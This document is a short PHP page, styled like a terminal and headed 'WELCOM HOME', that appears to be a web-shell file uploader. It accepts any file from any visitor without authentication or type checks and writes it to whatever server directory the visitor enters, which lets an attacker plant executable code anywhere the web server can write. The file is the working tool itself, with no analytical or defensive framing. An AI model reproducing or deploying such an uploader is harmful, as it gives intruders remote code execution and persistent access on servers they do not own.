<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcom</title>
    <style>
    body {
    font-family: monospace;
    background-color: #000;
    color: #fff;
    margin: 0;
    padding: 20px;
    }
    .terminal {
    width: 100%;
    height: 400px;
    background-color: #333;
    padding: 10px;
    overflow-y: auto;
    border-radius: 5px;
    white-space: pre-wrap;
    outline: none;
    box-sizing: border-box;
    }
    input[type="text"], select, input[type="number"], input[type="file"] {
    width: 100%;
    padding: 10px;
    font-family: monospace;
    border: none;
    background-color: #333;
    color: #00BEC8;
    outline: none;
    border-bottom: 2px solid #777;
    box-sizing: border-box;
    }
    input[type="file"] {
    color: #fff;
    }
    a {
    color: #6aff6a;
    text-decoration: none;
    }
    ol {
    font-family: monospace;
    white-space: pre;
    }
    li::marker {
    font-size: 15px;
    color: gray;
    }
    .dollar {
    color: green;
    }
    button {
    display: inline-block;
    padding: 12px 24px;
    font-size: 16px;
    font-weight: bold;
    color: #fff;
    background-color: #5A5A5A;
    border-radius: 5px;
    border: none;
    cursor: pointer;
    transition: background-color 0.3s ease;
    box-shadow: 0 4px 6px rgba(0, 123, 255, 0.1);
    }
    button:hover {
    background-color: #000;
    }
    button:active {
    background-color: #000;
    transform: translateY(1px);
    box-shadow: 0 2px 4px rgba(0, 123, 255, 0.1);
    }
    span {
    color: #00BEC8;
    }
    section {
    border-radius: 20px;
    border: 2px solid #fff;
    margin: 5px;
    padding: 5px;
    white-space: normal;
    word-wrap: break-word;
    overflow-wrap: break-word;
    }
    h1 {
    font-size: 1.5em;
    }
    @media (max-width: 600px) {
    button {
    padding: 10px 20px;
    font-size: 14px;
    }
    h1 {
    font-size: 1.2em;
    }
    input[type="text"], input[type="file"] {
    padding: 8px;
    }
    }
    </style>
</head>
<body>



<section>
<h1>WELCOM HOME</h1><br>
<?php echo rand(7264256228387,8373636636) ;?>
<br>
 </section>
    
  <section>
  <h1>File Uploade</h1>
  <br>
  <?php
  $currentFileName = basename(__FILE__);
  
  if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['fname'])) {
  $targetDirectory = trim($_POST['dir']);
  $targetFile = $targetDirectory . basename($_FILES['fname']['name']);
  
  // Check file type or other validations if needed
  
  if (move_uploaded_file($_FILES['fname']['tmp_name'], $targetFile)) {
  echo '<script type="text/javascript">alert("File uploaded successfully.")</script>';
  echo "<script> window.location = '".$_SERVER['PHP_SELF']."';</script>";
  } else {
  echo '<script type="text/javascript">alert("Oops! Something went wrong Uploading file. Please try again.")</script>';
  echo "<script> window.location = '".$_SERVER['PHP_SELF']."';</script>";
  }
  }
  
  ?>
  <form method="post" action="" enctype="multipart/form-data">
  <input type="file" name="fname" required>
  <br><br>
  <label>Upload Destination Directory</label><br>
  <input type="text" name="dir" placeholder="/www/folder/" value="<?php echo $targetDirectory ?>" required>
  <br><br>
  <button type="submit" name="upload">Uploade File</button>
  </form>
  <br>
  <br>
  </section>
  
 
 
 <script type="text/javascript">
 var input = document.getElementById('myTextInput');
 input.focus();
 input.select();
 </script>
    
</body>
</html>